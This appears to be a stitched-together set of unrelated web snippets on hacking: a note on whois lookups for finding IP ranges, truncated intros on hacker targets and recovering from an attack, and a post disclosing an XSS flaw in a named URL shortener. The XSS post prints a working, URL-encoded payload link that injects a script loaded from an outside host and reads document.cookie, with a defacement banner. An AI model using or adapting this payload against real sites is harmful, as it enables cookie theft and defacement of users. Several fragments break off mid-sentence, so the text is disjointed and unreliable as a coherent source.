Whois queries are used to determine the IP address ranges associated with clients. A whois query can be run on most UNIX environments. In a Windows environment, the tools such as WsPingPro and Sam Spade can be used to perform whois queries. Whois queries can also be executed over the Web from www.arin.net and www.networksolutions.com.

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Targets of a Hack Attack

Hacker interests lie in many types of computers on the Internet. Following is a discussion of the types of targets and their appeal to the perpetrators.Corporate Networks Corporate computers are

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critical XSS Vulnerability on Ygncos Shorten Url

PlanetCreator has reported another critical XSS Vulnerability on Ygncos Shorten Url : http://www.ygn.me This vulnerability has been informed to :- webmaster Test Link http://shorten.ygn.me/index.php?url=%27%22%3E%3C%2Ftitle%3E%3Cscript%20src=http://www.planetcreator.net/attacking/xss/planetcreator-xss.js%3Ealert%28document.cookie%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+PlanetCreator%3C%2Fh1%3E%3C%2Fmarquee%3E Cross-site scripting (XSS) is a type

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How to Fix a Hacker Attack

After a computer has been hacked it can never be trusted again. So say the pros, and security expert Steve Gibson, of GRC.com, in particular. “There is no way to

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